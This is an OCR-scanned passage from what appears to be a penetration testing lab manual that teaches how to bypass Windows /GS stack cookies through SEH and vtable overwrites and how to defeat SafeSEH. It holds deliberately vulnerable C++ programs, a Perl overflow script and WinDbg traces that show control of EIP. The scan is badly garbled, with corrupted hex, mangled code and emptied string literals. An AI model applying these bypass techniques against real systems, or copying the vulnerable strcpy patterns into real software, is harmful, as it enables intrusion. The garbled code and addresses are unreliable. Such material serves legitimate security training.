cax=0025lebd ebr=TFffd%000 ecx=00000002 edx=00000004 esi=00251f48 edi=0025lebd
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- ModLeoad: 7410000 7e4a1000

elp=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es5=0023 £5=003b gs=0000 ef1=00000202
ntdll ! DbgBreakPoint:
7¢20120e cc ing 3
G:000> bp vulnerable_serverIwmsecurityﬁcheck_cookie
0:000> bl

. 0D e 004012dd 0001 (0001} Qr#*xx vulnerable_server! security check cookie
0:000> g

McdLoad: 71a50000 71a8f000
- ModLoad: 662b0000 66308000
. ModLoad: 77£10000 77£53000

\NWINDOWS\svaten32\mswsock.dll
IAWINDOWS\system32\hnetcfg.dll
\WINDOWS\system32\GDI32.d11
A\WINDOWS\system32\USER3Z . d11
:\WINDOWS\svsten32\IMM32.DLL
\WINDOWS\System3Z\wshtepip.dll

ModLoad: 76390000 763ad000
ModLoad: 71a90000 71a%98000
. Breakpoint 0 hit
eax=0012e46e ebx=00000000 ecx=4153a31ld edx=0012e¢400 esi=00000001 edi=00403384
eip=004012dd esp=0012e048 ebp=0012e25¢c iopl=0 nv up el pl nz na pe nc
s cs=001b  ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
t vulnerable server! security check cookie:

oNeNeNoNeoNe|

1 004012dd 3b0d00304000 Crp ecx,dword ptr [vulnerable server! security cookie

© (00403000)7 ds:0023:00403000=d04d8743

- 0:000> dd 0x00403000

© 00403000 d0dd8742 2£2278bc FEFFELFf FPEFFFEE

00403010 fEffffffe 000C000L 00000000 00000000
£ 00403020 00000001 00342a00 00342980 00000000
$ 00403030  CO00000C 00C0O0CO00 COCOC0O00 COO00N0O

It’s different now, which means that it is not predictable. (This is what usually happens. (MS06-040 shows an

exploit that could take advantage of the fact that the cookie was static, so it is possible — in theory))

Anyways, if you now {ry to overflow the buffer, the application will die : ntdll!KiFastSystemCallRet

(set breakpoint on function pr, and step through the instructions until you see that the security cookie check fails

before the function returns)

This should give us enough information on how the /GS compiler switch changes the code of functions to

protect against stack overflows.

As explained earlier, there are a couple of techniques that would allow you to try to bypass the GS protection.
Most of them rely on the fact that you can hit the exception handler structure/trigger an exception before the

cookie is checked again. Other rely on being able to write to arguments,... No matter what WE’ve tried, it did
not work with this code (could not hit exception handler). So /GS appears to be quite effective with this code.

Stack cookie bypass demonstration 1 : Exception Handling

The vulnerable code

In order to demonstrate how the stack cookie can be bypassed, we’ll use the following simple c++ code

(basicbof.cpp) :

" finclude ©
C#include U
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" . 11

#include

vold Getinput (char* str, char* out)
{
char buffer{500];
Lry
{
strepy (buffer, str);
strcpy (out,buffer);
printf (" ", buffer):

atch {char * strkErr)

— ()

printf (" "y
printf {" ", strErr);

}

int main{int argc, char® argvil)
oA

char buf2(128];
GetInput(argv(l], buf2);
raturn 0;

As you can see, the GetInput function contains a vulnerable strepy, because it does not check the length of the

first parameter. Furthermore, once ‘buffer’ was filled (and possibly corrupted), it is used again (strcpy to
variable ‘out’) before the function returns. But hey — the function exception handler should warn the user if

malicious input was entered, right ? :-)
Compile the code without /GS and without RTC.

Run the code and use a 10 character string as parameter .

basichof.exe AAAAARAAAR
Input received : AARAAAALAAA

Ok, that works as expected. Now run the application and feed it a string longer than 500 bytes as first
parameter. Application will crash.

(If you leave out the exception handler code in the Getlnput function, then the application will crash & trigger
your debugger to kick in.)

We'll use the following simple perl script to call the application and feed it 520 characters :

my Shuffer=" " x 520;
cem ("

")

Run the script
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(208.470): Access violation - code 0000005 {(!!'! second chance !11)

eax=0000021a ebx=00000000 ecx=7855215¢c edx=785bbb60 esi=00000001 edi=00403380

eip=41414141 esp=0012££78 ebp=41414141 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 - efl=00000202
- 41414141 727

=> direct ret/eip overwrite. Classic BOF.

If you try the same again, using the executable that includes the exception handling code again, the application
will die. (if you prefer launching the executable from within windbg, then run windbg, open the basicbof.exe
executable, and add the 500+ character string as argument)

Now you get this :

1 (5¢.964) : Access violaticen - code c0000005 (first chance)

! First chance excepticns are reported before any exception handling.

. This exception may be expected and handled.

- eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 eg1=00000001 edi=004033a8
L eip=004010ch esp=0012£fchb4 ebp=0012feecc iopl=0D nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl1=00010206

‘' basicbofiGetInput+dxch:

: 004010ch 88902 moy byte ptr [edx],al ds:0023:00130000=41

No direct EIP overwrite, but we have hit the exception handler with our buffer overflow :

. 0:000> l!exchain
i, 0012feel: 41414141
Invalid exception stack at 41414141
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How does the SE Handler work and what happens when it gets overwritten ?

Before continuing, as a small exercise (using breakpoints and stepping through instructions), we’ll see why and
when the exception handler kicked in and what happens when you overwrite the handler.

Open the executable (no GS, but with the exception handling code) in windbg again (with the 520 A’s as
argument). Before starting the application (at the breakpoint), set a breakpoint on function Getlnput

0:000> bp GetInput

0:000> bl
0 e 00401000 0001 {0001) Q:**** basicbof!GetInput

Run the application, and it will break when the function is called

; Breakpcocint 0 hit
Ceax=0012fefc ebx=00000000 ecx=00342980 edx=003429f3 esi=00000001 edi=004033a8

é eip=00401000 esp=0012fefl ebp=0012ff7c iopl=C nv up ei pl nz na pe nc
{ ce=001b ss8=0023 ds=0023 es=0023 {s5=003b gs=0000 efl1=00000206
i basicbof!GetInput:

. 00401000 55 push ebp

If you disassemble function Getlnput, this is what you will see :

00401000 8 55 PUSH EBP ;save current value of EBP (=> saved EIP)

100401001 . 8BEC MOV EBP,ESP ;ebp is now top of stack (=> saved EBP)
S 00401003 . 6A FF PUSH -1
L 00401005 . 68 A01A4000 PUSE basichof.00401AA0 ; SE handler installation
£ 0040100A . 64:A1 00G0DCOC0O MOV EAX, DWORD FTR FS: (0]
£ 00401010 . 50 PUSH EAX
£ 00401011 . 64:8%25 000000>MOV DWORD PTR FPS:[0],ESP
£ 00401018 . 51 PUSH ECX
. 00401019 . 81EC 1C(20000 SUB ESP,21C ;reserve space on the stack, 540 bytes
- 0040101F . 53 PUSH EBX
L 00401020 . 56 PUSH ESI
100401021 . 57 PUSH EDI
. 00401022 . 8965 ¥ MOV DWORD PTR S8: [EBP~10],ESP
£ 00401025 . C74% FC 000000>MOV DWORD PTR SS: [FERP-4],0
1 0040102C . BR45 08 MOV EAX, DWORD PTR SS: [EBP+8] ;start strepyi{buffer,str)
© 0040102F . 8985 FOFDFFFF MOV DWORD PTR SS: [EBP-210},EAX
- 00401035 . 8D8D FRFDFFFF  LEA ECY, DWORD PTR SS: [EBP~208]
. 0040103B . 898D ECFDFFFF MOV DWORD PTR S$S: [EBP-2141,ECX
. 00401041 . 8B95 ECFDFFFF MOV EDX, DWORD PTR S$S: [ERP-214]
. 00401047 . 8995 E8FDFFFF MOV DWORD PTR 55: [EBP-218],EDX
' 00401040 > 8B85 FOFDFFFF MOV EAX, DWORD PTR S$S: [ERP-210]
F 30401053 . 8A08 MOV CL,BYTE PTR DS:{EAX]
00401055 . 888D ETFDFFFF MOV BYTE PTR S$S:{EBP-21¢],CL
S 00401058 . 8RG5 ECFDFFFF MOV EDX,DWORD PTR 55: [ERP-214]
$0401061 . 8A85 ETFDFFFF MOV AL,BYTE PTR SS:[EBP-219]
00401067 . 8802 MOV RYTE PTR DS: (EDX),AL
S Q0401069 . 8B8D FOFDFFFF MOV ECY,DWORD PTR $8:[EBP-210}
- 0040106F . 83C1 01 ADD ECX,1
L 00401072 . 898D FOFDFFFF MOV DWCRD PTR SS: [EBP-2101,ECX
00401078 . 8B93 ECFDFFFF MOV EDX, DWORD PTR $5: [EBP-214]
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0040107E
00401081
00401087
0040108E
00401090
00401096
0040169C
0040109F
00401045
C04010AB
00401081
00401087
004010B9
004010BF
004010C5
" 004010CB
004010CD
004010D3
00401006
. 004010DC
' 004010E2
~ 004010E3
 C04010EB
0C4010F2
00401074
. 004010FA
1 004010FB

.on

00401100

160401106

00401109
0040110B

1 00401110

- 00401116

1. 00401119

. 0040111F
- 00401120

oon

00401125

© 0040112B
© 0040112E

+ 00401135

© 0040113A

83Ccz
8985
8GBD

."75 BD

8D85
8985
884D
898D
8B95
8895
> 8B85
8RA08
888D
8BOS
BAB5
8802
8B8D
83C1
898D
8B95
§3C2
83995
80BD

.~75 BD

8D85
50

01
ECFDFFFF
E7FDFFFF

F8FDFFFF
ECFDFFEF
e

DCEDFFEE
DCFDFFFE
DBFDFFFF
ECFDIFFF

D7FDFFFF
DCEDFEYE
DVFDFFFF

ECFDFFFF
01

EQOFDFFFF
DCFDFEEE
01

DCEFDFEFEFE
D7FDFFFF

FEFDFFEFE

68 FC204000C

FF15 A8204000

83C4

EB 30

08

68 14214000

FF15 A8204000

83C4
8B8D
51

04
F4FDFFFFE

68 30214000

FF15
83C4

A8204000
08

ADD
MOV
>CMP
JNZ
LEA
MOV
MOV
MOV
MOV
MOV
MoV
MOV
MOV
MOV
MOV
MOV
MOV
ADD
MOV
MOV
ADD
MOV
>CMPp
JNZ
LEA
PUSH
PUSH

CALL DWORD PTR DBS:[<&MSVCRY0.printi>]

ADD
JMP
PUSH

CALL DWORD PTR DS: [<&MSVCR90.printf>] ;

ADD
MOV
FUSH
PUSE

CALL DWORD PTR DS: [<&MSVCR9).printf>] ;

ADD

EDX, 1
DWORD PTR SS: [EBP-214},EDX
BYTE PTR S5:[EBP-219],0

SHORT basicbof.0040104D ;imp to 0x0040104d,get next

PTR SS5:[EBP-208]
S5: (EBP-220], EAX
PTR §S: [EBP+C)
SS: [EBP-2241, ECX
PTR S$S: [EBP-224]
DWORD PTR $S: [EBP-228],EDX
EAX, DWORD PTR SS:{EBP-220]
CL,BYTE PTR DS: [EAX])

BYTE PTR SS: [EBP-229],CL
EDX, DWORD PTR SS: [EBP-224]
AL,BYTE PTR SS: [EBP-229]
BYTE PTR DS:[EDX],AL

ECX, DWORD PTR SS: [EBP-220]
ECX, 1 _

DWORD PTR S$S: [EBP-220],ECX
EDX, DWORD PTR S$S:{ERP-224]
ED¥X, 1

DWORD PTR S$S: [EBP-2241,EDX
BYTE PTR S$S: [EBP-229},0

EAY, DWORD
DWORD PTR
ECX, DWORD
DWORE PTR
EDX, DWORD

char
;istart strepy(out,buffer)

SHORT basichof.C0401CBl;jmp to 0Ox00401090,get next char

EAX, DWORD PTR S$SS: [EBP-208]
EAX H
basichof.004020FC ;

ESP, 8
SHORT basichof.0040113B
basichof. 00402114 H

ESP, 4
ECX, DRORD PTR SS§: [ERP-20C]
ECX :
basichbof.00402130 ;

ESP, 8

C745 FC FFFFFE>MOV DWORD PTR SS: [EBP-4],-1
B8 42114000

C3

MOV
RETN

EAX, basichof. 00401142

/format =

/<%s>
| farmat =

\printf

\printf

/<%s>
| format =

\printi

When the Getlnput() function prolog begins, the function argument (our buffer “str”) is stored at 0x00342913

(EDX):

0:000> d edx

00342913

41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41

ARAAARABAAADAARA

00342a03 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAARAAAAA

A pointer to this argument is put on the stack (so at 0x0012fef4, the address 0x00342913 is stored).
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The stack pointer (ESP) points to 0x0012fef0), and EBP points to 0x0012ff7¢c. These 2 addresses now form the
new function stack frame. The memory location ESP points to currently contains 0x00401179 (which is the
return address to go back to the main function, right after calling Getlnput())

. basicbof!main

00401160 55 push ebp

. 00401161 Bbec mev ebp,esp

- 00401163 81ec80000000 sul esp, 80h

. 00401169 8d4580 lea eax, [ebp-80h]}

£ 0040116¢ 50 push eax

L 0040116d 8b4d0c mowv ecy,dword ptr {ebp+0Ch] ;peinter tec argument
- 00401170 8b5104 mov edx, dword ptr [ecx+4] ;pointer te argument
00401173 52 push edx ; buffer argument

f 00401174 e887feffff call basicbof!GetInput (00401000) ; Getlnput ()

; 00401179 83c408 add esp,8 normally GetInput returns here

1 0040117¢ 33¢O XOr eax,eax0040117e Bbeb ) nov esp, ebp
£ 00401180 5d pop ebp

| 00401181 c3 ret

Anyways, let’s go back to the disassembly of the GetInput function above. After putting a pointer to the
arguments on the stack, the function prolog first pushes EBP to the stack (to save EBP). Next, it puts ESP into
EBP so EBP points to the top of the stack now (for just a moment :)). So, in essence, a new stack frame is
created at the “current” position of ESP when the function is called. After saving EBP, ESP now points to
0x0012feec (which contains 0c0012ff7¢). As soon as data is pushed onto the stack, EBP will still point to the
same location (but EBP becomes (and stays) the bottom of the stack). Since there are no local variables in
GetInput(), nothing is pushed on the stack to prepare for these variables.

Then, the SE Handler is installed. First, FFFFEFFF is put on the stack (to indicate the end of the SEH chain).

00401003 . BA FF PUSH -1

00401005 . 68 A01A4000 PUSH basicbof.00401AA0

Then, SE Handler and next SEH are pushed onto the stack :

? 00401G60A . 64:A1 00000000 MOV EAX,DWORD PTR FS5: [0}

|
i
;
]

]
i

00401010 . 50 PUSH EAX

00401011 . 64:8925 000000>MOV DWORD PTR FS:[0],ESP

The stack now looks like this :

~ stack grows up towards top of stack while address of ESP goes down
| O0L2FECC T85438C5 MSVCROC.785438C5

| 0CL2FEDO 0012FEES

| 0012FED4 7855C40C MSVCRS0.7855C40C

| O0L12FEDS 00152150

| 0C12FEDC 0012FEF8 <~ ESP points here after pushing next SEH
| 0012FEEQ 0012FFBO Peinter to next SEH record

| 0012FEE4 00401AAD SE handler

; -

!

i

C012FEES8 FEFEFFFFF ; end of SEH chain
00Q12FEEC 0O12FF7C ; saved EBP
Q012FEFC 00401179 ; saved EIP
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| OQ12FEF4 Q03429F3 ; pointer to buffer ASCII "

Before the first strepy starts, some place is reserved on the stack.

00401019 . B1EC 1C020000 SUB ESP,21C ;540 bytes, which is 500 {buffer) + additional
space

After this instruction, ESP points to 0x0012fcc0 (which is 0x0012fede — 21¢), ebp still points to 0x0012feec
(top of stack). Next, EBX, ESI and EDI{ are pushed on the stack (ESP = ESP — C (3 x 4 bytes = 12 bytes), ESP
now points at 0x0012FCB4.

Then, at 0x0040102c, the first strepy starts (ESP still points to 0012fcb4). Each A is taken from the memory
location where buffer resides) and put on the stack (one by one, loop from 0x0040104d to 0x0040108e).

This process continues until all 520 bytes (length of our command line argument) have been written

The first 4 A’s were written at 0012fce4. If you add 208h (520 bytes) — 4 (the 4 bytes that are at 0012fced), then
you end up at 0012fee8, which has hit/overwritten the SE Structure. No harm done yet.

* -
I
i
I
i
3
1
1
1

i
d
I
g
i
§
3!
3
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So far so good. No exception has been triggered yet (nothing has been done with the buffer yet, and we did not
attempt to write anywhere that would cause an unmediate exception)

Then the second strepy (strepy(out,buffer)) starts. Similar routine (one A per loop), and now the A’s are written
on the stack starting at 0x0012fefc. EBP (bottom of stack) still points to 0x0012feec, so we arc now writing
beyond the bottom of the stack.

£ En

a
i

En e de e

>
1

an

B3 dn En Ln Fa dn

1o fee BB

out is only 128 bytes (variable initially set up in main() and then passed on uninitialized to Getlnput() — this
smells like trouble to me :-) ), so the overflow will probably occur much faster. Buffer contains a lot more
bytes, so the overflow may/could/will write into an area where it does not belong, and that will hurt more this
time. If this triggers and exception, we control the flow (we have already overwritten the SE structure,
remember)

After putting 128 A’s on the stack, the stack looks like this :
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As we continue to write, we write into higher addresses (eventually even overwriting main




TFLTFATT AT L

41414111%

-f«nﬁﬁ-h—h-&-&s

14
G 1+
14
Gl
1<
e

-ﬁni«.j». &n.t.hlia.
Fb ks b ek o e

© 41414141

SE Structure was overwritten with the first strepy, but the second strepy triggered the exception before the
function could return. The combination of both should allow us to exploit this vulnerability because stack
cookies will not be checked.

Abusing SEH to bypass GS protection

Compile the executable again (with /GS protection) and try the same overflow again :
Code with exception handler :

(aa0.fd48): Access violation - code <00000C5 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41l ebx=00000000 ecx=0012fd4l edx=00130000 esi=00000001 edi=004033a4
eip=004010d8 esp=0012£fcal ebp=00l2feed iopl=0 nv up el pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
basicbof!GetInput+0xdd:
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00401048 8802
0:000> uf Getlnput

basicbof!GetInput

10

8985e0fdffff

byte ptr [edx],al

mowv

ds:0023:0013C000=41

[basichofibasichof.cpp R 6]:

6 00401000 55 push ebp

6 00401001 8hec mov ebp, esp

6 00401003 saff push OFFEFFFFFFh

6 00401005 68d01a4000 push offset basichof! CxxFrameHandler3+0xc {00401ad0)
6 004C100a 642100000000 mov eax,dword ptr fs:{00000000Ch]
6 00401010 50 pusih eax

6 00401011 51 push ecx

6 00401012 81lec24020000 sub esp,224h

E 6 00401018 all8304000 mowv eax,dword ptr [basicbof! security cookie
(00403018) ]

6 00401014 33c¢5 XOYr eax, ebp

6 0040101f 8945ec nov dword ptr [ebp-14h}, ecax

6 00401022 53 push ebx

6 00401023 56 push esi

6 00401024 57 pusn edi

6 00401025 50 push eax

6 00401026 8d45f4 lea eax, [ebp-0Ch)

6 00401029 64a300000000 mov dwoxrd ptr fs:([00000000h], eax
6 0040102f 8965f0 mov dword ptr {ebp~1Gh},esp

9 00401032 ¢745fc00000060  mov dword ptr [ebp-41,0
10 00401039 8b4508 mov eax,dword ptr [ebpt8]
10 0040103c 8983eB8fdffff nov dword ptr [ebp-218h],eax
10 00401042 BdBAfOfdffff lea ecx, [ebp-210h!
10 00401048 888ded4fdffff mnov dword ptr [ebp-2iCh},ecx
10 00401C4e Bb95edfdffff mov edx, dword ptr {ebp-21Ch]

00401054 dword ptr {ebp-220hl,edx

:-eip=004010b2 esp=0012fccd ebp=0012feed iopl=0

; 004010b2 8802 mov

Application has died again. From the disassembly above we can clearly see the security cookie being put on the
stack in the GetInput function epilogue. So a classic overflow (direct RET overwrite) would not work. ..

- However we have hit the exception handler as well (the first strepy overwrites SE Handler, remember. ., in our

example, SE Handler was only overwritten with 2 bytes, so we probably need 2 more bytes to overwrite it
entirely.):

IEO:OOO> 'exchain
# 0012fedB8: basichof! CxxFrameHandler3+c
i Invalid exception stack at 00004141

{00401ado)

- This means that we *may* be able to bypass the /GS stack cookie by using the exception handler.

Now if you leave out the exception handling code again (in function Getlnput), and feed the application the
same number of characters, then we get this

L 0:000> g
. {216c.2ce0) :
First chance exceptions are reported before any exception handling.

Access violaticn - code c0000005 (first chance)

This exception may be expected and handled.

eax=0012fd41 ebx=00000000 ecx=0012fd41l edx=00130000 es5i=00000001 edi=0040337¢
nv up ei pl nz na pe nc

ces=001b s55=0023 ds=0023 es=0023 fs=003b gé=0000 efl=00010206
basicbof !GetInput+0xb2:
byte ptr {edxi,al ds:0023:00130000=41
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0:000> !exchain
0012ffb0: 41414141
Invalid exception stack at 41414141

So same argument length, but the extra exception handler was not added, so it took us not that much bytes to
overwrite SE structure this time. It [ooks like we have triggered an exception before the stack cookie could have
been checked. As explained earlier, this is caused by the second strepy statement in GetInput()

To prove my point, leave out this second strepy (so only one strepy, and no exception handler in the
application), and then this happens :

S 0:000> g

eax=000036c0 ebx=00000000 ecx=000036cl edx=T7c%0e514 esi=00000001 edi=0040337c¢c
L eip=7c9%0e514 esp=0012£984 ebp=0012f594 iopl=0 nv up el ng nz na pe nc
" cs=001b s5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000286
- ntdil!KiFastSystemCallRet:

! 7c90e514 c3 ret

M -

=> stack cookie protection worked again.

So, conclusion : it is possible to bypass stack cookies if the vulnerable function will cause an exception in one
way or another other way BEFORE the cookie is checked during the function’s epilogue, for example when the
function continues to use a corrupted buffer further down the road in the function.

Note : In order to exploit this particular application, you would probably need to deal with /safeseh as well...
Anyways, stack cookie protection was bypassed... :-)

Stack cookie bypass demonstration 2 : Virtual Function call

In order to demonstrate this technique, WE’ll re-use a piece of code that can be found in Alex Soritov and Mark
Dowd’s paper from Blackhat 2008 (slightly modified so it would compile under VS2008 C++)

%#include "

. ¥include ™ "
iclass Foo ¢
: public:
void  declspec(noinline} gs3{char* src)
{
chaxr bufl[8]):
strcpy (buf, src);
bar () ;
]
virtual veid _ declspec{noinline} bar{)

{

}

}:
int main ()

{

Foo foo!
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return 0;

o

The Foo object called foo is initialized in the main function, and allocated on the stack of this main function.
Then, foo is passed as argument to the Foo.gs3() member function. This gs3() function has a strepy
vulnerability (foo from main() is copied into buf, which is only 8 bytes. So if foo is longer than 8 bytes, a buffer
overflow occurs).

After the strepy(), a virtual function bar() is executed. Because of the overflow earlier, the pointer to the vtable
on the stack may have been overwritten, and application flow may be redirected to your shellcode instead.

After compiling with /gs, function gs3 looks this :

0:000> uf Foo::gs3
gsvtable!Foo::gs3

i 10 00401000 55 push ebp
| 10 00401001 8bec mov ebp, esp
- 10 00401003 B83ec20 sub esp, 20h
. 10 00401006 al118304000 - mov eax,dword ptr [gsvtable! security cookie
1 {00403018) ]
10 6040100b 33c¢cH Xor eax, ebp
10 0040100d 8845fc mov dword ptr-[ebp-4],eax
10 00401010 8944f0 mov dword ptr [ebp-10hl,ecx
12 00401013 8b4508 mov eax,dword ptr [ebp+8]
12 00401016 8%45ec mowv dword ptr [ebp-14h],eax
12 00401019 834df4 lea ecx, [ebp-0Ch]
; 12 0040101¢ 8%4de8 mov dword ptr [ebp-18h],ecx
i 12 0C40101f 8b55e8 mov edx,dword ptr {ebp-18h}
5 12 00401022 8955e4 mnov dword ptr {ebp-1Ch], edx
" gsvtable!Foo::ge3+0x25
g 12 00401025 8b4Sec mov eax,dword ptr [ebp-14h]
12 00401028 8a08 mov cl,byte ptr [eax]
12 0040102a 884de3 mov byte ptr [ebp-1Dh},cl
12 0040102d 8bb55e8 mov edx,dword ptr [ebp-18h]
12 00401030 Badb5e3 mov al,byte ptr [ebp-1Dh}
12 00401033 8802 nmov byte ptr {edx],al
12 0040103% 8biddec mow ecx,dword ptr [ebp-14hl}
12 00401038 83clil add ecx, 1
12 0040103b 884dec mov dword ptr [ebp-14h],ecx
12 0040103e 8b55e8 mov edx,dword ptr [ebp-18h]
12 00401041 83¢c201 adad edx, 1
12 00401044 8955e8 mov dword ptr [ebp-18h),edx
12 00401047 807de300 cmp byte ptr [ebp-1Dhl,0
12 0040104b 75d8 jne gsvtable!Foo::gs3+0x25 (00401025)

“gsvtable!Foo::gs3+0x4d
13 0040104d 8b45f0 mov eax,dword ptr [ebp~10h]
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13 00401050 8blo mov edx, dword ptr [eaxi

13 00401052 8b4dfD mov ecx,dword ptr [ebp-10h]

13 00401055 802 mov eax,dword ptr {edxu]

13 00401057 f£40

14 00401059 8bddfc mov ecx,dword ptr {ebp-4]

14 0040105c 33cd XOT ecx,ebp

14 00401052 854000000 call gsvtable! security check cookie (004010b7)
14 00401063 8beb mowv esp, ebp

14 00401065 5d Dow ebp

14 00401066 ¢20400 ret 4

Stack cookie ;

= 0:000> dd 00403018

- 00403018 cdleeZdd 32elldb2 ffffffff fEfLf£fff

00403028 fffffffe 00000001 0C4020£f0 00000CO0

- 00403638 56413f2e 406f6f46 00000040 00000CO0

: 00403048 00000001 00343018 00342980 00000000
00403058 0Q00CO000 00CCOOCOC 0000CO00O 000CO0OO0

Virtual function bar looks like this :

{ 0:000> uf Foo::bar
i gsvtable!Foo::bar

16 00401070 55 push ebp

16 00401071 8bec mov ebp,esp

16 00401073 51 push ecx

16 00401074 8%4dfc mov dword ptr {ebp-4],ecx
17 00401077 8beb mov esp, ebp

17 004C1079 5d pop ebp

17 0040107a <3 ret

If we look at the stack right at the point when function gs3 is called (so before the overflow occurs, breakpoint
at 0x00401000) .

18 g%vt&blélhbiﬁ*ﬁxlé (CORV: gdeel) _
00 gawtalklel tualnﬂﬂTﬁt&rtup*ﬂxIG‘ VPR ffone-Fpoly (CONY. oo
il kerwel 32| EaseProcessSiave+0xl3 (FRG: [Ron~Poal i

i : - (132
ﬂﬂﬂﬁﬂ@l ﬁﬂ?&:?&ﬁ A543
ﬁllcfSQQ 00?85€23 2fidd
fi0¢dizhd QOOaO0En THF4E

At 12 broad i LA

tab:be . RE4ELO00

- 0xD0 12170 = saved EIP

- 0x0012{f74 = arguments

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual




-~ Ox0012£f78 = vtable pointer (points to 0x0040211c)

0:000> u 0040211c¢

gsvtable!Foo:: vftable': .

0040211c 7010
0040211e 40
0040211f 604800
- 00402122 0000
00402124 0000
00402126 0000
00402128 0000

1 0040212a 0000

jo

inc
add
add
add
add
add
add

gsvtable! load config usedi+lxe (0040Z12e)

eax
byte
byte
byte
byte
byte
byte

ptr
ptr
ptr
ptr
ptr
ptr

feax},cl
[eax],al
{eax],al
[eaxi,al
[eax],al
[eax]),al

Right before the strepy begins, stack is set up like this

(so 32 bytes have been made available on the stack first (sub esp,20), making ESP point to 0x0012ff4c)

At O0x0012FF78, we see the vtable pointer. Stack at 0x0012{f5¢ contains 0012{f78.

The stack cookie is first put in EAX and then XORed with EBP. It is then put on the stack (at 0x001268)

After writing AAAABBBBCCCCDDDD to the stack (thus already overflowing buffer bufl}), we have
overwritten the cookie with CCCC and we are about to overwrite saved EIP with EEEE
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After the overwrite is complete, the stack looks like this :

0x0012ff5c¢ still points to 0x0012£{78, which points to vtable at 0x004021 1c.

el L

&
B B4 30T

After performing the strepy (overwriting the stack), the instructions at 0040104D will attempt to get the address
of the virtual function bar() into eax.

Before these instructions are executed, the registers look like this :

Then, these 4 instructions are executed, attempting to load the address of the function into eax...
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g8B45 FO MOV EAX, DWORD PTR S5S:[EBP-10}

¢040104D |,

0040105C . BR1O MOV EDX, DWORD PTR DS: [EAX]
00401052 . 8B4D FC MOV ECX, DWORD PTR S$S:[ERP-10]
00401055 . 8BO2 ‘ MOV EAX, DWORD PTR DS: [EDX]

The end result of these 4 instructions is

then, CALL EAX is made (in an attempt to launch the virtual function bar(), which really sits at 00401070).
- ;00401057 {. FFDO CALL EAX o - ; gévtabie.0040107b

but EAX now contains data we control...

Notice the stack cookie got corrupted but we still control EIP (because we control EAX and have overwritten
the vtable pointer). EBP and EDX seem to point to our buffer, so an exploit should be fairly easy to build.

SafeSeh

Safeseh is yet another security mechanism that helps blocking the abuse of SEH based exploitation at runtime.
It is as compiler switch (/safeSEH) that can be applied to all executable modules (so .exe files, .dlls etc). (read
more at uninformed vSa2).

Instead of protection the stack (by putting a cookie before the return address), the exception handler frame/chain
is protected, making sure that if the seh chain is modified, the application will be terminated without jumping to
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the corrupted handler. The Safeseh will verify that the exception handling chain is unmodified before going to
an exception handler. It does so by “walking the chain” until it reaches Oxffff{f (end of chain), verifying that it
has encountered the validation frame at the same time.

If you want to overwrite a SE Handler, you have also overwritten the next SEH... which will break the chain &
trigger safeseh. The Microsoft implementation of the safeseh technique is (as of now) pretty stable.

Bypassing SafeSeh : Introduction

As explained in chapter 3 of this lab series, the only way safeseh can be bypassed is
-> Try not to execute a sch based exploit (but look for a direct ret overwrite instead :-) )
or

-> if the vulnerable application is not compiled with safeseh and one or more of the loaded modules (OS
modules or application-specific modules) is/are not compiled with safeseh, then you can use a pop pop ret
address from one of the non-safeseh compiled modules to make it work. In fact, it’s recommended to look for
an application specific module (that is not safeseh compiled), because it would make your exploit more reliable
across various versions of the OS.. but if you have to use an OS module, then it will work too (again, as long as
it’s not safeseh compiled).

-> If the only module without safeseh protection is the application/binary itself, then you may still be able to
pull off the exploit, under certain conditions. The application binary will (most likely} be loaded at an address
that starts with a null byte. If you can find a pop pop ret instruction in this application binary, then you will be
able to use that address (the null byte will be at the end), however you will not be able to put your shellcode
after the se handler overwrite (because the shellcode would not be put in memory — the null byte would have
acted as string terminator). So in this scenario, the exploit will only work if

— the shellcode is put in the buffer before nsel/seh are overwritten

- the shellcode can be referenced utilizing the 4 bytes of available opcode (jumpcode) where nseh is
overwritten. (a negative jump may do the trick here)

— you can still trigger an exception (which may not be the case, because most exceptions occur when
overflowing the stack, which will not work anymore when you stop at overwriting seh)

As stated earlier, starting with Windows server 2003, a new protection mechanism has been put in place. This
technique should help stopping the abuse of exception handler overwrites. In short, this is how it works :

When an exception handler pointer is about to get calied, ntdll.dll (KiUserExceptionDispatcher) will check to
see if this pointer is in fact a valid EH pointer. First, it tries to eliminate that the code would jump back to an
address on the stack directly. It does this by getting the stack high and low address (by looking at the Thread
Environment Block’s (TEB) entry, looking at FS:[4] and FS:[8]). If the exception pointer is within that range
(thus, if it points to an address on the stack), the handier will not be called.

If the handler pointer ts not a stack address, the address is checked against the list of loaded modules (and the
executable image itself), to see whether it falls within the address range of one of these modules. If that is the
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case, the pointer is checked against the list of registered handlers. If there is a match, the pointer is allowed.
WE’m not going to discuss the details on how the pointer is checked, but remember that one of the key checks
are performed against the Load Configuration Directory. If the module does not have a Load Configuration
Directory, the handler would be called.

What if the address does not fall within the range of a loaded module ? Well, in that case, the handler is
considered safe and will be called. (That’s what we call Fail-Open security :)

* There are a couple of possible exploit techniques for this new type of SEH protections :

- If the address of the handler, as taken from the exception_registration structure, is outside the address range of
a loaded module, then it is still executed.

. - If the address of the handler is inside the address range of a loaded module, but this loaded module does not
have a Load Configuration Directory, and the DLL characteristics would allow us to pass the SE Handler
* vertfication test, the pointer will get called.

- If the address of the handler is overwritten with a direct stack address, it will not be executed. But if the

~ ' pointer to the exception handler is overwritten with a heap address, it will be called. (Of course, this involves

~ loading your exploit in the heap and then trying to guess a more or less reliable address on the heap where you
can redirect the application flow to. This may be difficult because this address may not be predictable).

-If the exception_registration structure is overwritten and the pointer is set to an aiready registered handler,
which executes code that helps you gaining control. Of course, this technique is only useful if that exception

- handler code does not break the shellcode and does in fact help putting a controlled address in EIP. True, this is
rarely the case, but sometimes it happens.

Bypassing SafeSeh : Using an address outside the address range of loaded modules

. The loaded modules/executable image loaded into memory when an application runs most likely contains

pointers to pop/pop/ret instructions, which is what we’re usually after when building SEH based exploits. But
